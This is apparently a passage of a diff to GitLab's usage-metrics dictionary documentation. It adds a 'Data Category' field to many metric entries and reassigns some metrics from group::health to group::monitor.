Tiers: `free`, `premium`, `ultimate`
@@ -1602,6 +1862,8 @@ Count of active groups inheriting integrations for GitHub
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -1614,6 +1876,8 @@ Count of active groups inheriting integrations for Hangouts Chat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1626,6 +1890,8 @@ Count of active groups inheriting integrations for HipChat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -1638,6 +1904,8 @@ Count of active groups inheriting integrations for Irker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1650,6 +1918,8 @@ Count of active groups inheriting integrations for Jenkins
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1662,6 +1932,8 @@ Count of active groups inheriting integrations for Jira
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1674,6 +1946,8 @@ Count of active groups inheriting integrations for Mattermost
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1686,6 +1960,8 @@ Count of active groups inheriting integrations for Mattermost (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1698,6 +1974,8 @@ Count of active groups inheriting integrations for Microsoft Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1710,6 +1988,8 @@ Count of active groups inheriting integrations for Mock CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -1722,6 +2002,8 @@ Count of active groups inheriting integrations for Mock Monitoring
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -1734,6 +2016,8 @@ Count of active groups inheriting integrations for Packagist
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1746,6 +2030,8 @@ Count of active groups inheriting integrations for Pipeline Emails
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1758,6 +2044,8 @@ Count of active groups inheriting integrations for Pivotal Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1770,6 +2058,8 @@ Count of active groups inheriting integrations for Prometheus
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1782,6 +2072,8 @@ Count of active groups inheriting integrations for Pushover
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1794,6 +2086,8 @@ Count of active groups inheriting integrations for Redmine
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1806,6 +2100,8 @@ Count of active groups inheriting integrations for Slack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1818,6 +2114,8 @@ Count of active groups inheriting integrations for Slack (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1830,6 +2128,8 @@ Count of active groups inheriting integrations for Teamcity CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1842,6 +2142,8 @@ Count of active groups inheriting integrations for Unifiy Circuit
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1854,6 +2156,8 @@ Count of active groups inheriting integrations for Webex Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1866,6 +2170,8 @@ Count of active groups inheriting integrations for YouTrack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1878,6 +2184,8 @@ Count of groups with active integrations for Irker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1890,6 +2198,8 @@ Count of groups with active integrations for Jenkins
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1902,6 +2212,8 @@ Count of groups with active integrations for Jira
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1914,6 +2226,8 @@ Count of groups with active integrations for Mattermost
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1926,6 +2240,8 @@ Count of groups with active integrations for Mattermost (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1938,6 +2254,8 @@ Count of groups with active integrations for Microsoft Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1950,6 +2268,8 @@ Count of groups with active integrations for Mock CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -1962,6 +2282,8 @@ Count of groups with active integrations for Mock Monitoring
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -1974,6 +2296,8 @@ Count of groups with active integrations for Packagist
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1986,6 +2310,8 @@ Count of groups with active integrations for Pipeline Emails
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -1998,6 +2324,8 @@ Count of groups with active integrations for Pivotal Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2010,6 +2338,8 @@ Count of groups with active integrations for Prometheus
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2022,6 +2352,8 @@ Count of groups with active integrations for Pushover
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2034,6 +2366,8 @@ Count of groups with active integrations for Redmine
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2046,6 +2380,8 @@ Count of groups with active integrations for Slack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2058,6 +2394,8 @@ Count of groups with active integrations for Slack (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2070,6 +2408,8 @@ Count of groups with active integrations for Teamcity CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2082,6 +2422,8 @@ Count of groups with active integrations for Unifiy Circuit
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2094,6 +2436,8 @@ Count of groups with active integrations for Webex Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2106,6 +2450,8 @@ Count of groups with active integrations for YouTrack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2118,6 +2464,8 @@ Total clicks on the create track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2130,6 +2478,8 @@ Total sent emails of the create track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2142,6 +2492,8 @@ Total clicks on the create track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2154,6 +2506,8 @@ Total sent emails of the create track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2166,6 +2520,8 @@ Total clicks on the create track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2178,6 +2534,8 @@ Total sent emails of the create track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2190,6 +2548,8 @@ Total sent emails of the experience track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2202,6 +2562,8 @@ Total clicks on the team track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2214,6 +2576,8 @@ Total sent emails of the team track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2226,6 +2590,8 @@ Total clicks on the team track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2238,6 +2604,8 @@ Total sent emails of the team track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2250,6 +2618,8 @@ Total clicks on the team track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2262,6 +2632,8 @@ Total sent emails of the team track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2274,6 +2646,8 @@ Total clicks on the verify trial's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2286,6 +2660,8 @@ Total sent emails of the trial track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2298,6 +2674,8 @@ Total clicks on the trial track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2310,6 +2688,8 @@ Total sent emails of the trial track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2322,6 +2702,8 @@ Total clicks on the trial track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2334,6 +2716,8 @@ Total sent emails of the trial track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2346,6 +2730,8 @@ Total clicks on the verify track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2358,6 +2744,8 @@ Total sent emails of the verify track's first email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2370,6 +2758,8 @@ Total clicks on the verify track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2382,6 +2772,8 @@ Total sent emails of the verify track's second email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2394,6 +2786,8 @@ Total clicks on the verify track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2406,6 +2800,8 @@ Total sent emails of the verify track's third email
Group: `group::activation`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2418,6 +2814,8 @@ Missing description
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -2428,7 +2826,9 @@ Count of incidents (issues where issue_type=incident)
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180447_incident_issues.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -2440,7 +2840,9 @@ Count of all issues with the label=incident
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180451_incident_labeled_issues.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -2454,6 +2856,8 @@ Whether or not ModSecurity is set to blocking mode
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2466,6 +2870,8 @@ Whether or not ModSecurity is disabled within Ingress
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2478,6 +2884,8 @@ Whether or not ModSecurity is set to logging mode
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2490,6 +2898,8 @@ Whether or not ModSecurity has not been installed into the cluster
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2502,6 +2912,8 @@ Cumulative count of packets identified as anomalous by ModSecurity since Usage P
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2514,6 +2926,8 @@ Cumulative count of packets processed by ModSecurity since Usage Ping was last r
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2526,6 +2940,8 @@ Whether or not ModSecurity statistics are unavailable
Group: `group::container security`
+Data Category: `Operational`
+
Status: `removed`
Tiers: `ultimate`
@@ -2538,6 +2954,8 @@ Total GitLab Managed disabled clusters previously attached to the instance
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2550,6 +2968,8 @@ Total GitLab Managed clusters attached to the instance
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2562,6 +2982,8 @@ Count of active instance-level integrations for Asana
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2574,6 +2996,8 @@ Count of active instance-level integrations for Assembla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2586,6 +3010,8 @@ Count of active instance-level integrations for Bamboo CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2598,6 +3024,8 @@ Count of active instance-level integrations for Bugzilla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2610,6 +3038,8 @@ Count of active instance-level integrations for Buildkite
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2622,6 +3052,8 @@ Count of active instance-level integrations for Campfire
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2634,6 +3066,8 @@ Count of active instance-level integrations for Confluence
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2646,6 +3080,8 @@ Count of active instance-level integrations for a Custom Issue Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2658,6 +3094,8 @@ Count of active instance-level integrations for Datadog
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2670,6 +3108,8 @@ Count of active instance-level integrations for Discord
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2682,6 +3122,8 @@ Count of active instance-level integrations for Drone CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2694,6 +3136,8 @@ Count of active instance-level integrations for Emails on Push
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2706,6 +3150,8 @@ Count of active instance-level integrations for EWM
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2718,6 +3164,8 @@ Count of active instance-level integrations for External Wiki
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2730,6 +3178,8 @@ Count of active instance-level integrations for Flowdock
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2742,6 +3192,8 @@ Count of active instance-level integrations for GitHub
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -2754,6 +3206,8 @@ Count of active instance-level integrations for Hangouts Chat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2766,6 +3220,8 @@ Count of active instance-level integrations for HipChat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2778,6 +3234,8 @@ Count of active instance-level integrations for Irker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2790,6 +3248,8 @@ Count of active instance-level integrations for Jenkins
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2802,6 +3262,8 @@ Count of active instance-level integrations for Jira
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2814,6 +3276,8 @@ Count of active instance-level integrations for Mattermost
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2826,6 +3290,8 @@ Count of active instance-level integrations for Mattermost (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2838,6 +3304,8 @@ Count of active instance-level integrations for Microsoft Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2850,6 +3318,8 @@ Count of active instance-level integrations for Mock CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2862,6 +3332,8 @@ Count of active instance-level integrations for Mock Monitoring
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2874,6 +3346,8 @@ Count of active instance-level integrations for Packagist
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2886,6 +3360,8 @@ Count of active instance-level integrations for Pipeline Emails
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2898,6 +3374,8 @@ Count of active instance-level integrations for Pivotal Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2910,6 +3388,8 @@ Count of active instance-level integrations for Prometheus
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2922,6 +3402,8 @@ Count of active instance-level integrations for Pushover
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2934,6 +3416,8 @@ Count of active instance-level integrations for Redmine
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2946,6 +3430,8 @@ Count of active instance-level integrations for Slack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2958,6 +3444,8 @@ Count of active instance-level integrations for Slack (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2970,6 +3458,8 @@ Count of active instance-level integrations for Teamcity CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2982,6 +3472,8 @@ Count of active instance-level integrations for Unifiy Circuit
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2994,6 +3486,8 @@ Count of active instance-level integrations for Webex Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3006,6 +3500,8 @@ Count of active instance-level integrations for YouTrack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3018,6 +3514,8 @@ Count of Issues created
Group: `group::plan`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3028,7 +3526,9 @@ Count of issues created automatically on alerts from GitLab-Managed Prometheus
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -3040,11 +3540,13 @@ Count of issues manually created from the GitLab UI on Sentry errors
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.issues_created_gitlab_alerts`
@@ -3052,7 +3554,9 @@ Count of all issues created from GitLab alerts (bot and non-bot)
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -3064,7 +3568,9 @@ Count of issues created manually by non-bot users from GitLab alerts
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -3076,7 +3582,9 @@ Count of issues where a user have added AND removed a zoom meeting using slash c
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -3088,7 +3596,9 @@ Count of issues where a user has linked a Zoom meeting
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -3100,7 +3610,9 @@ Count of issues where a user has embedded a Grafana chart
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -3114,6 +3626,8 @@ Count of issues with health status
Group: `group::product planning`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -3126,6 +3640,8 @@ Count of Projects that imported Issues from Jira
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3138,6 +3654,8 @@ Count of Jira imports completed
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3150,6 +3668,8 @@ Count of total issues imported via the Jira Importer
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3162,6 +3682,8 @@ Number of keys.
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3174,6 +3696,8 @@ Count of events when an Agent is asked to synchronize the manifests or its confi
Group: `group::configure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3186,6 +3710,8 @@ Count of Kubernetes API proxy requests
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3198,6 +3724,8 @@ Count of Kubernetes registered agents
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3210,6 +3738,8 @@ Count of Kubernetes agents with at least one token
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3222,6 +3752,8 @@ Count of label lists created on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3234,6 +3766,8 @@ Count of Labels
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3246,6 +3780,8 @@ Number of groups that are synced via LDAP group sync `https://docs.gitlab.com/ee
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3258,6 +3794,8 @@ Number of keys synced as part of LDAP `https://docs.gitlab.com/ee/administration
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3270,6 +3808,8 @@ Number of users that are linked to LDAP
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3282,6 +3822,8 @@ Missing description
Group: `group::create`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -3294,6 +3836,8 @@ Count of License Scanning jobs run
Group: `group::composition analysis`
+Data Category: `Subscription`
+
Status: `data_available`
Tiers: `ultimate`
@@ -3306,6 +3850,8 @@ Count to License List page views
Group: `group::composition analysis`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -3318,6 +3864,8 @@ Count of the number of merge request comments
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3330,6 +3878,8 @@ Count of the number of merge requests created
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3342,6 +3892,8 @@ Count of the number of merge requests
Group: `group::code review`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3354,6 +3906,8 @@ Count of merge requests merged using approval rules
Group: `group::compliance`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -3366,6 +3920,8 @@ Count of milestone lists created on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3378,6 +3934,8 @@ Count of milestones created
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3390,6 +3948,8 @@ Total Searches using the navbar for All Basic Search and Advanced Search in self
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3402,6 +3962,8 @@ Cumulative count of packets dropped by Cilium (Container Network Security) since
Group: `group::container security`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3414,6 +3976,8 @@ Cumulative count of packets forwarded by Cilium (Container Network Security) sin
Group: `group::container security`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3426,6 +3990,8 @@ Count of Notes across all objects that use them
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3438,6 +4004,8 @@ Active users with enabled operations dashboard
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3450,6 +4018,8 @@ Active users with projects on operations dashboard
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3462,6 +4032,8 @@ A count of Composer packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3474,6 +4046,8 @@ A count of Composer packages that have been downloaded
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3486,6 +4060,8 @@ A count of Composer packages that have been published
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -3498,6 +4074,8 @@ A count of Conan packages that have been deleted
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
